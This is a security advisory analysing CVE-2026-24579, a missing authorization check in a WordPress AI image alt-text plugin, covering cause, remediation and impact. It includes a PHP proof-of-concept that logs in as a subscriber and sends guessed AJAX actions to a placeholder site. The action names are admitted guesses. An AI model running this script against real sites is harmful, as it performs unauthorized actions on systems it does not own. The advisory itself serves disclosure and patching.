Atomic Edge analysis of CVE-2026-24579 (metadata-based):
This vulnerability is a Missing Authorization flaw in the Ai Image Alt Text Generator for WP plugin, affecting versions up to and including 1.1.9. The flaw allows any authenticated user, including those with the low-privilege subscriber role, to perform an unauthorized administrative action. The CVSS score of 4.3 (Medium) reflects a low integrity impact with no confidentiality or availability consequences.
Atomic Edge research identifies the root cause as a missing capability check on a WordPress hook. The vulnerability description confirms the absence of a proper authorization check, which aligns with CWE-862. Without access to the source code, it is inferred that the plugin registers an AJAX handler or admin action hook without verifying the current user’s permissions. This is a common pattern where a function intended for administrators is made accessible via `wp_ajax_` or `admin_post_` hooks without a `current_user_can()` check.
The exploitation method involves an authenticated attacker sending a crafted HTTP request to a privileged plugin endpoint. Based on WordPress plugin conventions, the likely attack vector is the WordPress AJAX handler (`/wp-admin/admin-ajax.php`). The attacker would send a POST request with an `action` parameter corresponding to the vulnerable function. The exact action name is unknown but can be inferred from the plugin slug, such as `ai_image_alt_text_generator_action` or a similar derivative. No nonce is required due to the missing authorization.
Remediation requires adding a proper capability check before executing the sensitive function. The plugin developers must modify the vulnerable function to call `current_user_can()` with a capability like `manage_options` or a custom capability that restricts access to administrators. The function should terminate with `wp_die()` if the check fails. A nonce check should also be added for CSRF protection, though the primary flaw is the missing authorization.
The impact of successful exploitation is unauthorized action execution. The description states attackers can “perform an unauthorized action.” While the exact action is unspecified, in the context of an AI image alt text generator, this could involve triggering AI processing credits, modifying plugin settings, or accessing functionality that should be billable or administrative. This leads to a loss of integrity for the plugin’s intended control flow.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24579 - Ai Image Alt Text Generator for WP <= 1.1.9 - Missing Authorization
<?php
/*
Proof of Concept for CVE-2026-24579.
Assumptions:
1. The plugin exposes a vulnerable AJAX action.
2. The action name is derived from the plugin slug.
3. No capability check or nonce is required.
This script attempts to call a likely vulnerable endpoint.
*/
$target_url = 'https://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'subscriber_user'; // Attacker's low-privilege username
$password = 'subscriber_pass'; // Attacker's password
// First, authenticate to WordPress to get a session cookie.
$ch = curl_init();
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Now, attempt to exploit the missing authorization.
// The exact action parameter is unknown; common patterns are inferred.
$possible_actions = [
'ai_image_alt_text_generator_action',
'ai_image_alt_text_generator_process',
'ai_alt_text_generate',
'generate_ai_alt_text'
];
foreach ($possible_actions as $action) {
$post_fields = ['action' => $action];
// Add other potential parameters based on plugin functionality.
$post_fields['image_id'] = '1'; // Assuming an image ID parameter may be required.
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$ajax_response = curl_exec($ch);
echo "Attempting action: {$action}n";
echo "Response: {$ajax_response}nn";
}
curl_close($ch);
?>
